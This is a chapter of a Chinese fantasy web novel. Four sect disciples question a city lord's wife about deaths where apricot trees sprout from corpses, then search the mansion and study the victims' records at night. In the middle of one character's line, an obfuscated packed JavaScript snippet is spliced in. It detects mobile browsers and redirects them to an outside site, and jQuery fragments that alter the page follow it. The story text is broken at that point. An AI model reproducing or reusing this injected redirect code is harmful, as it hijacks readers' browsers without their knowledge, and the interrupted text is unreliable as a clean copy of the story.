25. 青州城(二)
作品:《锦鲤师弟,让我贴贴》 温子意原本想跟上去问清楚,但是犹豫了片刻,终究还是跟着巡逻的侍卫一起前往城主府。
在这条长街的尽头,赫然矗立着一座灯火通明的宅邸,便是城主府。
引路的侍卫将灯笼递给门房,朝四人抱拳道:“城主与夫人此刻都有事,请诸位先至西厢房歇息。”
曲璟抬眸望去,五进宅院规整得如同棋盘。
进门的石壁上雕着常见的松鹤延年图,廊下挂着素纱灯笼。
走在廊下,还能闻到小厨房飘来的香气,整个宅邸仿佛是江南的书香世家。
“这青玉地砖抵得上咱们苍岩峰半年的开销了。”
唐啸蹲下来敲了敲砖面,被谢薇薇拎着后领拽起来:“别跟个乡巴佬似的,丢不丢人!”
温子意忽然停下脚步,苍冥剑柄在他掌心微微发烫。
他侧过头,看见旁边的曲璟也顿住了脚步。
两人默契地对视了一眼,却都没有说话。
这栋宅子给人的感觉有些奇怪。
“仙师这边请。”侍女掀起竹帘。
厢房内的陈设清雅得恰到好处,紫檀案头供着新采摘的花,连熏香都是最寻常的鹅梨香。
一切看上去都没有异常。
“这宅子风水不错嘛。”谢薇薇四处打量:“坐北朝南,四水归堂。”
唐啸疑惑:“你什么时候会看风水了?”
“上回砸了师父的聚灵阵,罚抄了三百遍《堪舆要术》。”
她翻了个白眼:“抄多了,就会了。”
管家恰在此时端着茶进来:“各位仙师请稍等片刻,夫人正在后堂礼佛,马上就来。”
曲璟问道:“那你家城主呢?”
管家的神色有些许不自然:“城主近日身体欠佳,已经早早歇息了。”
庭院忽然传来环佩叮当,清脆悦耳。
“贵客临门,有失远迎,实在惭愧。”城主夫人扶着丫鬟莲步轻移,款款而来。
她身着素雅锦缎,举止温婉,只是眼底深处藏着一丝不易察觉的疲惫。
谢薇薇大大咧咧地挥手:“夫人客气啥,我们也刚到,屁股还没坐热乎呢!”
城主夫人在四人对面坐下,开口间满是歉意:“实在对不住诸位仙师,此番求救信,实乃我自作主张,写信之时,我夫君尚不知情。”
“哦?城主不知此事?”曲璟端起茶盏,目光不经意地扫过对方,不着痕迹地观察城主夫人的神态。
“我夫君亦是金丹期修士,起初城中偶有暴毙,他只道是寻常时疫,妾身便也未多想,只寻思着请城中名医诊治。谁知,后来人越死越多,死状诡异,竟有杏枝破体而出。”
“我心中实在惶恐,思来想去,唯有求助天下第一宗天衍宗,青州城与天衍宗离得也近,我便斗胆去了信。”
她说着,抬手轻轻理了理鬓角。
发髻间,一支并蒂杏花玉簪在烛光下流转着温润细腻的珠光,花蕊处更有一点碧玺,十分特别。
曲璟的视线在那簪头凝滞了一瞬:这簪子的样式和细节与她在符隐真人手札中见过的,分毫不差!
连花蕊处嵌的碧玺都如出一辙!
曲璟接过话,答道:“夫人不必自责,我们既然收到了消息,定当全力查明真相。只是具体的情况,需要询问一下夫人。”
“不知仙师们想了解些什么?我定当知无不言。”夫人抿了口参茶,姿态优雅。
谢薇薇单刀直入:“现在一共死了多少人?给个数!”
夫人指尖微微一颤,随后答道:“七十有余。”
“都是些什么样的人?有什么特点?”曲璟问道。
夫人捧着茶盏的手指紧了紧:“都什么人都有,走街的货郎,浣衣的婆子,还有西街的铁匠……”
温子意问道:“这七十余人,皆是近日亡故的吗?”
“陆陆续续的。”
夫人放下茶盏时指尖不稳,溅出两滴茶水,在紫檀桌面上晕出深色的痕迹。
她似乎有些紧张。
“最初月余才死三两人,没人在意,直到埋下的尸体几天后长出了杏树,大家才意识到不对劲。”
她的声音带上了一丝不易察觉的颤抖。
温子意继续问道:“那更早之前呢?可有类似传闻?”
夫人摇头:“我知道的,是从这月初才开始,之前我从未听过这种怪事。”
曲璟问道:“夫人,那能否让我们验尸?”
“这……”
夫人面露难色,随后又解释道:“仙师来晚了一步,人死后没多久,我夫君便下了严令,所有暴毙者须即刻焚烧掩埋,说是恐有瘟疫蔓延,会传染。这也是如今青州城人人自危,闭户不出的缘由,大家都怕二十年前的惨剧重演啊。”
曲璟敏锐地抓到了重点:“二十年前的,惨剧?”
夫人点头:“二十年前,青州城遭逢大疫,近半城的人染疾,那景象,惨不忍睹。”
曲璟继续问道:“那瘟疫最后好了吗?”
夫人答道:“都好了,是在一天晚上,所有得了瘟疫的人突然都好了,没有人知道原因,大家都说是上天保佑。”
曲璟沉默地啜了口茶,没说话,但是她打心底不相信上天保佑这种鬼话。
事出反常必有妖!
“那夫人当时可安好?”曲璟放下茶盏。
“我家里小心得紧,所以一直未曾感染,不过当时的瘟疫与这些天的情况完全不同。”
“哪里不同?”
“当时得了瘟疫的人不会立即暴毙,而是先从内脏开始腐烂,整个人都散发出恶臭,直到五脏六腑全部溃烂,口吐黑血而死。”
“据说很多人死前会将自己腐烂的内脏吐出来,极为吓人。而这一次,所有的人都是暴毙,在死之前没有任何预兆。”
夫人说这些的时候,眼里还有掩饰不住的恐惧。
虽然听起来毫无关联,但是直觉却让曲璟觉得二者之间应该存在某种联系。
见曲璟陷入沉思,温子意适时开口:“夫人可否将死者名录与相关信息借来我们一观?”
“自然。”城主夫人击掌唤来管家:“速去账房,取暴毙者的户册来,给到各位仙师。”
她又看向曲璟一行人:“仙师们今夜便宿在东厢可好?那边清净些。”
曲璟点头道谢:“多谢夫人。”
·
夫人走后,四人便在侍女的安排下分别入住四个房间。
没过多久,管家也按照夫人的吩咐,将暴毙之人的户册都拿了过来。
夜晚的城主府格外的安静。
子时的梆子声刚过三响,唐啸就踹开了厨房的后窗。
“我就说这城主有问题!”他抄起一只热气腾腾的糯米鸡,狠狠咬了一大口,烫得龇牙咧嘴也舍不得吐。
嘴里还含糊不清地嚷嚷:“一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15991259|176247||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
个金丹修士早他妈辟谷了!还养这么些好厨子?这手艺,比咱天衍宗伙房那帮大爷强出十八条街去!唔……真香啊!”
屋顶上,潜伏的谢薇薇闻言,翻了个巨大的白眼。
她用传音入密骂道:“吃吃吃!就知道吃!赶紧啃完陪姑奶奶去探探那城主的狗窝!一个金丹期的修士,身体欠佳?还火烧尸体?我看他就是心里有鬼!”
与此同时,东厢的一间寝房,曲璟揉着额角放下户册。
烛光在她手边投下细碎的光斑,温子意正用朱笔在名录上标注,烛光映着他专注的侧脸。
“师姐如果困了,就先去休息吧。”
曲璟打了个长长的哈欠,泪花都出来了:“唉,麻绳专挑细处断,厄运专找苦命人。看看这死的,全是穷苦百姓。就像咱俩,倒霉的永远倒霉,走运的一直走运。”
就在这时,廊外的月色忽然暗了刹那。
蒙眼的琴师抱着一把焦尾琴,悄无声息地从廊下走过,袍角拂过青砖地面,竟连一片落叶都未曾惊动。
檐角铜铃无风自动。
曲璟下意识的往窗外看去,却只看到黑色的衣角消失在转角处。
“师姐看这里。”温子意正全神贯注地看着户册,浑然不觉异样。
他蘸着茶水在桌面画线;“最早的这些死者,老家都在城西老槐巷。”
“城西老槐巷。”曲璟暗暗记下这个名字,打算晚些找人再问问。
“砰!”
房门被一股蛮力猛地撞开。
唐啸顶着一头面粉冲了过来,手里还晃着一个空了大半的酒坛子,酒气熏天:“我就说城主偷藏美酒!那破机关,小爷我轻轻一碰就……”
“轻轻?”
谢薇薇提着刀紧随其后,裙角还挂着蛛网。
“你抡起石杵砸锁的动静,聋子都能听见!这还轻轻?”
曲璟看着一片的狼藉和眼前的两人,只觉得太阳穴突突直跳,疼得厉害:“师姐,这位城主,可是实打实的金丹境高手!”
她几乎是从牙缝里挤出这句话。
谢薇薇满不在乎地摆摆手,掸了掸裙角的蛛网:“安啦安啦!我和这二愣子手脚还算干净,保管神不知鬼不觉!”
温子意没说话,默默起身推开了窗户。
夜风带着深秋的凉意灌入,风中似乎还缠绕着一缕若有似无的琴音。
那琴音钻进耳朵里,刺得人耳膜微微发痒。
他若有所觉地望向回廊尽头,却只见到一只受惊的野猫,“喵呜”一声,仓惶地窜入花丛,消失不见。
温子意觉得有哪里不对,但又说不上来,最终还是转过身问道:“师姐可记得那位吗卖糖画的老人,当时说得那句话?”
曲璟脑海中立刻浮现出那枯瘦如柴的身影紧紧抓住温子意手腕的画面,以及那句嘶哑的低语:“小心穿白袍的菩萨。”
“你的意思是,去医馆看看?”
“嗯。”温子意点头:“医者皆披白,悬壶济世,百姓通常称一些医者为菩萨。明日不妨问问,那些暴毙之人死前可有异状,又是否曾去求医问药。”
“好。”曲璟应声。
跟唐啸和谢薇薇比起来,曲璟觉得这个刚入门不久的小师弟明显更靠谱一些。
一旁的谢薇薇听得一头雾水,大刀往肩上一扛,不耐烦地说道:“什么菩萨不菩萨的,弯弯绕绕!明天姑奶奶就去瞧瞧,到底是哪路神仙!”